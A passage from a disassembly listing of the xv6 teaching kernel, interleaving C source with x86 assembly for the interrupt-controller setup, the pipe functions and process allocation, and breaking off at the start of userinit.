80104718: c7 04 24 21 00 00 00 movl $0x21,(%esp) 8010471f: e8 48 ff ff ff call 8010466c <outb> outb(IO_PIC2+1, 0xFF); 80104724: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp) 8010472b: 00 8010472c: c7 04 24 a1 00 00 00 movl $0xa1,(%esp) 80104733: e8 34 ff ff ff call 8010466c <outb> // ICW1: 0001g0hi // g: 0 = edge triggering, 1 = level triggering // h: 0 = cascaded PICs, 1 = master only // i: 0 = no ICW4, 1 = ICW4 required outb(IO_PIC1, 0x11); 80104738: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp) 8010473f: 00 80104740: c7 04 24 20 00 00 00 movl $0x20,(%esp) 80104747: e8 20 ff ff ff call 8010466c <outb> // ICW2: Vector offset outb(IO_PIC1+1, T_IRQ0); 8010474c: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp) 80104753: 00 80104754: c7 04 24 21 00 00 00 movl $0x21,(%esp) 8010475b: e8 0c ff ff ff call 8010466c <outb> // ICW3: (master PIC) bit mask of IR lines connected to slaves // (slave PIC) 3-bit # of slave's connection to master outb(IO_PIC1+1, 1<<IRQ_SLAVE); 80104760: c7 44 24 04 04 00 00 movl $0x4,0x4(%esp) 80104767: 00 80104768: c7 04 24 21 00 00 00 movl $0x21,(%esp) 8010476f: e8 f8 fe ff ff call 8010466c <outb> // m: 0 = slave PIC, 1 = master PIC // (ignored when b is 0, as the master/slave role // can be hardwired). // a: 1 = Automatic EOI mode // p: 0 = MCS-80/85 mode, 1 = intel x86 mode outb(IO_PIC1+1, 0x3); 80104774: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 8010477b: 00 8010477c: c7 04 24 21 00 00 00 movl $0x21,(%esp) 80104783: e8 e4 fe ff ff call 8010466c <outb> // Set up slave (8259A-2) outb(IO_PIC2, 0x11); // ICW1 80104788: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp) 8010478f: 00 80104790: c7 04 24 a0 00 00 00 movl $0xa0,(%esp) 80104797: e8 d0 fe ff ff call 8010466c <outb> outb(IO_PIC2+1, T_IRQ0 + 8); // ICW2 8010479c: c7 44 24 04 28 00 00 movl $0x28,0x4(%esp) 801047a3: 00 801047a4: c7 04 24 a1 00 00 00 movl $0xa1,(%esp) 801047ab: e8 bc fe ff ff call 8010466c <outb> outb(IO_PIC2+1, IRQ_SLAVE); // ICW3 801047b0: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp) 801047b7: 00 801047b8: c7 04 24 a1 00 00 00 movl $0xa1,(%esp) 801047bf: e8 a8 fe ff ff call 8010466c <outb> // NB Automatic EOI mode doesn't tend to work on the slave. // Linux source code says it's "to be investigated". outb(IO_PIC2+1, 0x3); // ICW4 801047c4: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp) 801047cb: 00 801047cc: c7 04 24 a1 00 00 00 movl $0xa1,(%esp) 801047d3: e8 94 fe ff ff call 8010466c <outb> // OCW3: 0ef01prs // ef: 0x = NOP, 10 = clear specific mask, 11 = set specific mask // p: 0 = no polling, 1 = polling mode // rs: 0x = NOP, 10 = read IRR, 11 = read ISR outb(IO_PIC1, 0x68); // clear specific mask 801047d8: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp) 801047df: 00 801047e0: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801047e7: e8 80 fe ff ff call 8010466c <outb> outb(IO_PIC1, 0x0a); // read IRR by default 801047ec: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp) 801047f3: 00 801047f4: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801047fb: e8 6c fe ff ff call 8010466c <outb> outb(IO_PIC2, 0x68); // OCW3 80104800: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp) 80104807: 00 80104808: c7 04 24 a0 00 00 00 movl $0xa0,(%esp) 8010480f: e8 58 fe ff ff call 8010466c <outb> outb(IO_PIC2, 0x0a); // OCW3 80104814: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp) 8010481b: 00 8010481c: c7 04 24 a0 00 00 00 movl $0xa0,(%esp) 80104823: e8 44 fe ff ff call 8010466c <outb> if(irqmask != 0xFFFF) 80104828: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax 8010482f: 66 83 f8 ff cmp $0xffff,%ax 80104833: 74 12 je 80104847 <picinit+0x13d> picsetmask(irqmask); 80104835: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax 8010483c: 0f b7 c0 movzwl %ax,%eax 8010483f: 89 04 24 mov %eax,(%esp) 80104842: e8 43 fe ff ff call 8010468a <picsetmask> } 80104847: c9 leave 80104848: c3 ret 80104849: 00 00 add %al,(%eax) ... 8010484c <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 8010484c: 55 push %ebp 8010484d: 89 e5 mov %esp,%ebp 8010484f: 83 ec 28 sub $0x28,%esp struct pipe *p; p = 0; 80104852: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) *f0 = *f1 = 0; 80104859: 8b 45 0c mov 0xc(%ebp),%eax 8010485c: c7 00 00 00 00 00 movl $0x0,(%eax) 80104862: 8b 45 0c mov 0xc(%ebp),%eax 80104865: 8b 10 mov (%eax),%edx 80104867: 8b 45 08 mov 0x8(%ebp),%eax 8010486a: 89 10 mov %edx,(%eax) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010486c: e8 e7 ce ff ff call 80101758 <filealloc> 80104871: 8b 55 08 mov 0x8(%ebp),%edx 80104874: 89 02 mov %eax,(%edx) 80104876: 8b 45 08 mov 0x8(%ebp),%eax 80104879: 8b 00 mov (%eax),%eax 8010487b: 85 c0 test %eax,%eax 8010487d: 0f 84 c8 00 00 00 je 8010494b <pipealloc+0xff> 80104883: e8 d0 ce ff ff call 80101758 <filealloc> 80104888: 8b 55 0c mov 0xc(%ebp),%edx 8010488b: 89 02 mov %eax,(%edx) 8010488d: 8b 45 0c mov 0xc(%ebp),%eax 80104890: 8b 00 mov (%eax),%eax 80104892: 85 c0 test %eax,%eax 80104894: 0f 84 b1 00 00 00 je 8010494b <pipealloc+0xff> goto bad; if((p = (struct pipe*)kalloc()) == 0) 8010489a: e8 38 eb ff ff call 801033d7 <kalloc> 8010489f: 89 45 f4 mov %eax,-0xc(%ebp) 801048a2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 801048a6: 0f 84 9e 00 00 00 je 8010494a <pipealloc+0xfe> goto bad; p->readopen = 1; 801048ac: 8b 45 f4 mov -0xc(%ebp),%eax 801048af: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801048b6: 00 00 00 p->writeopen = 1; 801048b9: 8b 45 f4 mov -0xc(%ebp),%eax 801048bc: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801048c3: 00 00 00 p->nwrite = 0; 801048c6: 8b 45 f4 mov -0xc(%ebp),%eax 801048c9: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801048d0: 00 00 00 p->nread = 0; 801048d3: 8b 45 f4 mov -0xc(%ebp),%eax 801048d6: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801048dd: 00 00 00 initlock(&p->lock, "pipe"); 801048e0: 8b 45 f4 mov -0xc(%ebp),%eax 801048e3: c7 44 24 04 ec 95 10 movl $0x801095ec,0x4(%esp) 801048ea: 80 801048eb: 89 04 24 mov %eax,(%esp) 801048ee: e8 97 12 00 00 call 80105b8a <initlock> (*f0)->type = FD_PIPE; 801048f3: 8b 45 08 mov 0x8(%ebp),%eax 801048f6: 8b 00 mov (%eax),%eax 801048f8: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 801048fe: 8b 45 08 mov 0x8(%ebp),%eax 80104901: 8b 00 mov (%eax),%eax 80104903: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 80104907: 8b 45 08 mov 0x8(%ebp),%eax 8010490a: 8b 00 mov (%eax),%eax 8010490c: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 80104910: 8b 45 08 mov 0x8(%ebp),%eax 80104913: 8b 00 mov (%eax),%eax 80104915: 8b 55 f4 mov -0xc(%ebp),%edx 80104918: 89 50 0c mov %edx,0xc(%eax) (*f1)->type = FD_PIPE; 8010491b: 8b 45 0c mov 0xc(%ebp),%eax 8010491e: 8b 00 mov (%eax),%eax 80104920: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 80104926: 8b 45 0c mov 0xc(%ebp),%eax 80104929: 8b 00 mov (%eax),%eax 8010492b: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 8010492f: 8b 45 0c mov 0xc(%ebp),%eax 80104932: 8b 00 mov (%eax),%eax 80104934: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80104938: 8b 45 0c mov 0xc(%ebp),%eax 8010493b: 8b 00 mov (%eax),%eax 8010493d: 8b 55 f4 mov -0xc(%ebp),%edx 80104940: 89 50 0c mov %edx,0xc(%eax) return 0; 80104943: b8 00 00 00 00 mov $0x0,%eax 80104948: eb 43 jmp 8010498d <pipealloc+0x141> p = 0; *f0 = *f1 = 0; if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) goto bad; if((p = (struct pipe*)kalloc()) == 0) goto bad; 8010494a: 90 nop (*f1)->pipe = p; return 0; //PAGEBREAK: 20 bad: if(p) 8010494b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8010494f: 74 0b je 8010495c <pipealloc+0x110> kfree((char*)p); 80104951: 8b 45 f4 mov -0xc(%ebp),%eax 80104954: 89 04 24 mov %eax,(%esp) 80104957: e8 e2 e9 ff ff call 8010333e <kfree> if(*f0) 8010495c: 8b 45 08 mov 0x8(%ebp),%eax 8010495f: 8b 00 mov (%eax),%eax 80104961: 85 c0 test %eax,%eax 80104963: 74 0d je 80104972 <pipealloc+0x126> fileclose(*f0); 80104965: 8b 45 08 mov 0x8(%ebp),%eax 80104968: 8b 00 mov (%eax),%eax 8010496a: 89 04 24 mov %eax,(%esp) 8010496d: e8 8e ce ff ff call 80101800 <fileclose> if(*f1) 80104972: 8b 45 0c mov 0xc(%ebp),%eax 80104975: 8b 00 mov (%eax),%eax 80104977: 85 c0 test %eax,%eax 80104979: 74 0d je 80104988 <pipealloc+0x13c> fileclose(*f1); 8010497b: 8b 45 0c mov 0xc(%ebp),%eax 8010497e: 8b 00 mov (%eax),%eax 80104980: 89 04 24 mov %eax,(%esp) 80104983: e8 78 ce ff ff call 80101800 <fileclose> return -1; 80104988: b8 ff ff ff ff mov $0xffffffff,%eax } 8010498d: c9 leave 8010498e: c3 ret 8010498f <pipeclose>: void pipeclose(struct pipe *p, int writable) { 8010498f: 55 push %ebp 80104990: 89 e5 mov %esp,%ebp 80104992: 83 ec 18 sub $0x18,%esp acquire(&p->lock); 80104995: 8b 45 08 mov 0x8(%ebp),%eax 80104998: 89 04 24 mov %eax,(%esp) 8010499b: e8 0b 12 00 00 call 80105bab <acquire> if(writable){ 801049a0: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 801049a4: 74 1f je 801049c5 <pipeclose+0x36> p->writeopen = 0; 801049a6: 8b 45 08 mov 0x8(%ebp),%eax 801049a9: c7 80 40 02 00 00 00 movl $0x0,0x240(%eax) 801049b0: 00 00 00 wakeup(&p->nread); 801049b3: 8b 45 08 mov 0x8(%ebp),%eax 801049b6: 05 34 02 00 00 add $0x234,%eax 801049bb: 89 04 24 mov %eax,(%esp) 801049be: e8 e5 0d 00 00 call 801057a8 <wakeup> 801049c3: eb 1d jmp 801049e2 <pipeclose+0x53> } else { p->readopen = 0; 801049c5: 8b 45 08 mov 0x8(%ebp),%eax 801049c8: c7 80 3c 02 00 00 00 movl $0x0,0x23c(%eax) 801049cf: 00 00 00 wakeup(&p->nwrite); 801049d2: 8b 45 08 mov 0x8(%ebp),%eax 801049d5: 05 38 02 00 00 add $0x238,%eax 801049da: 89 04 24 mov %eax,(%esp) 801049dd: e8 c6 0d 00 00 call 801057a8 <wakeup> } if(p->readopen == 0 && p->writeopen == 0){ 801049e2: 8b 45 08 mov 0x8(%ebp),%eax 801049e5: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax 801049eb: 85 c0 test %eax,%eax 801049ed: 75 25 jne 80104a14 <pipeclose+0x85> 801049ef: 8b 45 08 mov 0x8(%ebp),%eax 801049f2: 8b 80 40 02 00 00 mov 0x240(%eax),%eax 801049f8: 85 c0 test %eax,%eax 801049fa: 75 18 jne 80104a14 <pipeclose+0x85> release(&p->lock); 801049fc: 8b 45 08 mov 0x8(%ebp),%eax 801049ff: 89 04 24 mov %eax,(%esp) 80104a02: e8 06 12 00 00 call 80105c0d <release> kfree((char*)p); 80104a07: 8b 45 08 mov 0x8(%ebp),%eax 80104a0a: 89 04 24 mov %eax,(%esp) 80104a0d: e8 2c e9 ff ff call 8010333e <kfree> 80104a12: eb 0b jmp 80104a1f <pipeclose+0x90> } else release(&p->lock); 80104a14: 8b 45 08 mov 0x8(%ebp),%eax 80104a17: 89 04 24 mov %eax,(%esp) 80104a1a: e8 ee 11 00 00 call 80105c0d <release> } 80104a1f: c9 leave 80104a20: c3 ret 80104a21 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 80104a21: 55 push %ebp 80104a22: 89 e5 mov %esp,%ebp 80104a24: 53 push %ebx 80104a25: 83 ec 24 sub $0x24,%esp int i; acquire(&p->lock); 80104a28: 8b 45 08 mov 0x8(%ebp),%eax 80104a2b: 89 04 24 mov %eax,(%esp) 80104a2e: e8 78 11 00 00 call 80105bab <acquire> for(i = 0; i < n; i++){ 80104a33: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80104a3a: e9 a6 00 00 00 jmp 80104ae5 <pipewrite+0xc4> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || proc->killed){ 80104a3f: 8b 45 08 mov 0x8(%ebp),%eax 80104a42: 8b 80 3c 02 00 00 mov 0x23c(%eax),%eax 80104a48: 85 c0 test %eax,%eax 80104a4a: 74 0d je 80104a59 <pipewrite+0x38> 80104a4c: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104a52: 8b 40 24 mov 0x24(%eax),%eax 80104a55: 85 c0 test %eax,%eax 80104a57: 74 15 je 80104a6e <pipewrite+0x4d> release(&p->lock); 80104a59: 8b 45 08 mov 0x8(%ebp),%eax 80104a5c: 89 04 24 mov %eax,(%esp) 80104a5f: e8 a9 11 00 00 call 80105c0d <release> return -1; 80104a64: b8 ff ff ff ff mov $0xffffffff,%eax 80104a69: e9 9d 00 00 00 jmp 80104b0b <pipewrite+0xea> } wakeup(&p->nread); 80104a6e: 8b 45 08 mov 0x8(%ebp),%eax 80104a71: 05 34 02 00 00 add $0x234,%eax 80104a76: 89 04 24 mov %eax,(%esp) 80104a79: e8 2a 0d 00 00 call 801057a8 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80104a7e: 8b 45 08 mov 0x8(%ebp),%eax 80104a81: 8b 55 08 mov 0x8(%ebp),%edx 80104a84: 81 c2 38 02 00 00 add $0x238,%edx 80104a8a: 89 44 24 04 mov %eax,0x4(%esp) 80104a8e: 89 14 24 mov %edx,(%esp) 80104a91: e8 29 0c 00 00 call 801056bf <sleep> 80104a96: eb 01 jmp 80104a99 <pipewrite+0x78> { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80104a98: 90 nop 80104a99: 8b 45 08 mov 0x8(%ebp),%eax 80104a9c: 8b 90 38 02 00 00 mov 0x238(%eax),%edx 80104aa2: 8b 45 08 mov 0x8(%ebp),%eax 80104aa5: 8b 80 34 02 00 00 mov 0x234(%eax),%eax 80104aab: 05 00 02 00 00 add $0x200,%eax 80104ab0: 39 c2 cmp %eax,%edx 80104ab2: 74 8b je 80104a3f <pipewrite+0x1e> return -1; } wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; 80104ab4: 8b 45 08 mov 0x8(%ebp),%eax 80104ab7: 8b 80 38 02 00 00 mov 0x238(%eax),%eax 80104abd: 89 c3 mov %eax,%ebx 80104abf: 81 e3 ff 01 00 00 and $0x1ff,%ebx 80104ac5: 8b 55 f4 mov -0xc(%ebp),%edx 80104ac8: 03 55 0c add 0xc(%ebp),%edx 80104acb: 0f b6 0a movzbl (%edx),%ecx 80104ace: 8b 55 08 mov 0x8(%ebp),%edx 80104ad1: 88 4c 1a 34 mov %cl,0x34(%edx,%ebx,1) 80104ad5: 8d 50 01 lea 0x1(%eax),%edx 80104ad8: 8b 45 08 mov 0x8(%ebp),%eax 80104adb: 89 90 38 02 00 00 mov %edx,0x238(%eax) pipewrite(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); for(i = 0; i < n; i++){ 80104ae1: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80104ae5: 8b 45 f4 mov -0xc(%ebp),%eax 80104ae8: 3b 45 10 cmp 0x10(%ebp),%eax 80104aeb: 7c ab jl 80104a98 <pipewrite+0x77> wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 80104aed: 8b 45 08 mov 0x8(%ebp),%eax 80104af0: 05 34 02 00 00 add $0x234,%eax 80104af5: 89 04 24 mov %eax,(%esp) 80104af8: e8 ab 0c 00 00 call 801057a8 <wakeup> release(&p->lock); 80104afd: 8b 45 08 mov 0x8(%ebp),%eax 80104b00: 89 04 24 mov %eax,(%esp) 80104b03: e8 05 11 00 00 call 80105c0d <release> return n; 80104b08: 8b 45 10 mov 0x10(%ebp),%eax } 80104b0b: 83 c4 24 add $0x24,%esp 80104b0e: 5b pop %ebx 80104b0f: 5d pop %ebp 80104b10: c3 ret 80104b11 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 80104b11: 55 push %ebp 80104b12: 89 e5 mov %esp,%ebp 80104b14: 53 push %ebx 80104b15: 83 ec 24 sub $0x24,%esp int i; acquire(&p->lock); 80104b18: 8b 45 08 mov 0x8(%ebp),%eax 80104b1b: 89 04 24 mov %eax,(%esp) 80104b1e: e8 88 10 00 00 call 80105bab <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80104b23: eb 3a jmp 80104b5f <piperead+0x4e> if(proc->killed){ 80104b25: 65 a1 04 00 00 00 mov %gs:0x4,%eax 80104b2b: 8b 40 24 mov 0x24(%eax),%eax 80104b2e: 85 c0 test %eax,%eax 80104b30: 74 15 je 80104b47 <piperead+0x36> release(&p->lock); 80104b32: 8b 45 08 mov 0x8(%ebp),%eax 80104b35: 89 04 24 mov %eax,(%esp) 80104b38: e8 d0 10 00 00 call 80105c0d <release> return -1; 80104b3d: b8 ff ff ff ff mov $0xffffffff,%eax 80104b42: e9 b6 00 00 00 jmp 80104bfd <piperead+0xec> } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 80104b47: 8b 45 08 mov 0x8(%ebp),%eax 80104b4a: 8b 55 08 mov 0x8(%ebp),%edx 80104b4d: 81 c2 34 02 00 00 add $0x234,%edx 80104b53: 89 44 24 04 mov %eax,0x4(%esp) 80104b57: 89 14 24 mov %edx,(%esp) 80104b5a: e8 60 0b 00 00 call 801056bf <sleep> piperead(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80104b5f: 8b 45 08 mov 0x8(%ebp),%eax 80104b62: 8b 90 34 02 00 00 mov 0x234(%eax),%edx 80104b68: 8b 45 08 mov 0x8(%ebp),%eax 80104b6b: 8b 80 38 02 00 00 mov 0x238(%eax),%eax 80104b71: 39 c2 cmp %eax,%edx 80104b73: 75 0d jne 80104b82 <piperead+0x71> 80104b75: 8b 45 08 mov 0x8(%ebp),%eax 80104b78: 8b 80 40 02 00 00 mov 0x240(%eax),%eax 80104b7e: 85 c0 test %eax,%eax 80104b80: 75 a3 jne 80104b25 <piperead+0x14> release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80104b82: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80104b89: eb 49 jmp 80104bd4 <piperead+0xc3> if(p->nread == p->nwrite) 80104b8b: 8b 45 08 mov 0x8(%ebp),%eax 80104b8e: 8b 90 34 02 00 00 mov 0x234(%eax),%edx 80104b94: 8b 45 08 mov 0x8(%ebp),%eax 80104b97: 8b 80 38 02 00 00 mov 0x238(%eax),%eax 80104b9d: 39 c2 cmp %eax,%edx 80104b9f: 74 3d je 80104bde <piperead+0xcd> break; addr[i] = p->data[p->nread++ % PIPESIZE]; 80104ba1: 8b 45 f4 mov -0xc(%ebp),%eax 80104ba4: 89 c2 mov %eax,%edx 80104ba6: 03 55 0c add 0xc(%ebp),%edx 80104ba9: 8b 45 08 mov 0x8(%ebp),%eax 80104bac: 8b 80 34 02 00 00 mov 0x234(%eax),%eax 80104bb2: 89 c3 mov %eax,%ebx 80104bb4: 81 e3 ff 01 00 00 and $0x1ff,%ebx 80104bba: 8b 4d 08 mov 0x8(%ebp),%ecx 80104bbd: 0f b6 4c 19 34 movzbl 0x34(%ecx,%ebx,1),%ecx 80104bc2: 88 0a mov %cl,(%edx) 80104bc4: 8d 50 01 lea 0x1(%eax),%edx 80104bc7: 8b 45 08 mov 0x8(%ebp),%eax 80104bca: 89 90 34 02 00 00 mov %edx,0x234(%eax) release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80104bd0: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80104bd4: 8b 45 f4 mov -0xc(%ebp),%eax 80104bd7: 3b 45 10 cmp 0x10(%ebp),%eax 80104bda: 7c af jl 80104b8b <piperead+0x7a> 80104bdc: eb 01 jmp 80104bdf <piperead+0xce> if(p->nread == p->nwrite) break; 80104bde: 90 nop addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup 80104bdf: 8b 45 08 mov 0x8(%ebp),%eax 80104be2: 05 38 02 00 00 add $0x238,%eax 80104be7: 89 04 24 mov %eax,(%esp) 80104bea: e8 b9 0b 00 00 call 801057a8 <wakeup> release(&p->lock); 80104bef: 8b 45 08 mov 0x8(%ebp),%eax 80104bf2: 89 04 24 mov %eax,(%esp) 80104bf5: e8 13 10 00 00 call 80105c0d <release> return i; 80104bfa: 8b 45 f4 mov -0xc(%ebp),%eax } 80104bfd: 83 c4 24 add $0x24,%esp 80104c00: 5b pop %ebx 80104c01: 5d pop %ebp 80104c02: c3 ret ... 80104c04 <readeflags>: asm volatile("ltr %0" : : "r" (sel)); } static inline uint readeflags(void) { 80104c04: 55 push %ebp 80104c05: 89 e5 mov %esp,%ebp 80104c07: 53 push %ebx 80104c08: 83 ec 10 sub $0x10,%esp uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80104c0b: 9c pushf 80104c0c: 5b pop %ebx 80104c0d: 89 5d f8 mov %ebx,-0x8(%ebp) return eflags; 80104c10: 8b 45 f8 mov -0x8(%ebp),%eax } 80104c13: 83 c4 10 add $0x10,%esp 80104c16: 5b pop %ebx 80104c17: 5d pop %ebp 80104c18: c3 ret 80104c19 <sti>: asm volatile("cli"); } static inline void sti(void) { 80104c19: 55 push %ebp 80104c1a: 89 e5 mov %esp,%ebp asm volatile("sti"); 80104c1c: fb sti } 80104c1d: 5d pop %ebp 80104c1e: c3 ret 80104c1f <pinit>: static void wakeup1(void *chan); void pinit(void) { 80104c1f: 55 push %ebp 80104c20: 89 e5 mov %esp,%ebp 80104c22: 83 ec 18 sub $0x18,%esp initlock(&ptable.lock, "ptable"); 80104c25: c7 44 24 04 f1 95 10 movl $0x801095f1,0x4(%esp) 80104c2c: 80 80104c2d: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80104c34: e8 51 0f 00 00 call 80105b8a <initlock> } 80104c39: c9 leave 80104c3a: c3 ret 80104c3b <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 80104c3b: 55 push %ebp 80104c3c: 89 e5 mov %esp,%ebp 80104c3e: 83 ec 28 sub $0x28,%esp struct proc *p; char *sp; acquire(&ptable.lock); 80104c41: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80104c48: e8 5e 0f 00 00 call 80105bab <acquire> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104c4d: c7 45 f4 d4 41 11 80 movl $0x801141d4,-0xc(%ebp) 80104c54: eb 11 jmp 80104c67 <allocproc+0x2c> if(p->state == UNUSED) 80104c56: 8b 45 f4 mov -0xc(%ebp),%eax 80104c59: 8b 40 0c mov 0xc(%eax),%eax 80104c5c: 85 c0 test %eax,%eax 80104c5e: 74 26 je 80104c86 <allocproc+0x4b> { struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104c60: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp) 80104c67: 81 7d f4 d4 65 11 80 cmpl $0x801165d4,-0xc(%ebp) 80104c6e: 72 e6 jb 80104c56 <allocproc+0x1b> if(p->state == UNUSED) goto found; release(&ptable.lock); 80104c70: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80104c77: e8 91 0f 00 00 call 80105c0d <release> return 0; 80104c7c: b8 00 00 00 00 mov $0x0,%eax 80104c81: e9 c2 00 00 00 jmp 80104d48 <allocproc+0x10d> char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) if(p->state == UNUSED) goto found; 80104c86: 90 nop release(&ptable.lock); return 0; found: p->state = EMBRYO; 80104c87: 8b 45 f4 mov -0xc(%ebp),%eax 80104c8a: c7 40 0c 01 00 00 00 movl $0x1,0xc(%eax) p->pid = nextpid++; 80104c91: a1 04 c0 10 80 mov 0x8010c004,%eax 80104c96: 8b 55 f4 mov -0xc(%ebp),%edx 80104c99: 89 42 10 mov %eax,0x10(%edx) 80104c9c: 83 c0 01 add $0x1,%eax 80104c9f: a3 04 c0 10 80 mov %eax,0x8010c004 p->priority=DEF_PRIORITY; 80104ca4: 8b 45 f4 mov -0xc(%ebp),%eax 80104ca7: c7 80 8c 00 00 00 02 movl $0x2,0x8c(%eax) 80104cae: 00 00 00 release(&ptable.lock); 80104cb1: c7 04 24 a0 41 11 80 movl $0x801141a0,(%esp) 80104cb8: e8 50 0f 00 00 call 80105c0d <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80104cbd: e8 15 e7 ff ff call 801033d7 <kalloc> 80104cc2: 8b 55 f4 mov -0xc(%ebp),%edx 80104cc5: 89 42 08 mov %eax,0x8(%edx) 80104cc8: 8b 45 f4 mov -0xc(%ebp),%eax 80104ccb: 8b 40 08 mov 0x8(%eax),%eax 80104cce: 85 c0 test %eax,%eax 80104cd0: 75 11 jne 80104ce3 <allocproc+0xa8> p->state = UNUSED; 80104cd2: 8b 45 f4 mov -0xc(%ebp),%eax 80104cd5: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) return 0; 80104cdc: b8 00 00 00 00 mov $0x0,%eax 80104ce1: eb 65 jmp 80104d48 <allocproc+0x10d> } sp = p->kstack + KSTACKSIZE; 80104ce3: 8b 45 f4 mov -0xc(%ebp),%eax 80104ce6: 8b 40 08 mov 0x8(%eax),%eax 80104ce9: 05 00 10 00 00 add $0x1000,%eax 80104cee: 89 45 f0 mov %eax,-0x10(%ebp) // Leave room for trap frame. sp -= sizeof *p->tf; 80104cf1: 83 6d f0 4c subl $0x4c,-0x10(%ebp) p->tf = (struct trapframe*)sp; 80104cf5: 8b 45 f4 mov -0xc(%ebp),%eax 80104cf8: 8b 55 f0 mov -0x10(%ebp),%edx 80104cfb: 89 50 18 mov %edx,0x18(%eax) // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; 80104cfe: 83 6d f0 04 subl $0x4,-0x10(%ebp) *(uint*)sp = (uint)trapret; 80104d02: ba f0 72 10 80 mov $0x801072f0,%edx 80104d07: 8b 45 f0 mov -0x10(%ebp),%eax 80104d0a: 89 10 mov %edx,(%eax) sp -= sizeof *p->context; 80104d0c: 83 6d f0 14 subl $0x14,-0x10(%ebp) p->context = (struct context*)sp; 80104d10: 8b 45 f4 mov -0xc(%ebp),%eax 80104d13: 8b 55 f0 mov -0x10(%ebp),%edx 80104d16: 89 50 1c mov %edx,0x1c(%eax) memset(p->context, 0, sizeof *p->context); 80104d19: 8b 45 f4 mov -0xc(%ebp),%eax 80104d1c: 8b 40 1c mov 0x1c(%eax),%eax 80104d1f: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 80104d26: 00 80104d27: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80104d2e: 00 80104d2f: 89 04 24 mov %eax,(%esp) 80104d32: e8 c3 10 00 00 call 80105dfa <memset> p->context->eip = (uint)forkret; 80104d37: 8b 45 f4 mov -0xc(%ebp),%eax 80104d3a: 8b 40 1c mov 0x1c(%eax),%eax 80104d3d: ba 80 56 10 80 mov $0x80105680,%edx 80104d42: 89 50 10 mov %edx,0x10(%eax) return p; 80104d45: 8b 45 f4 mov -0xc(%ebp),%eax } 80104d48: c9 leave 80104d49: c3 ret 80104d4a <userinit>: //PAGEBREAK: 32 // Set up first user process. void userinit(void) { 80104d4a: 55 push %ebp 80104d4b: 89 e5 mov 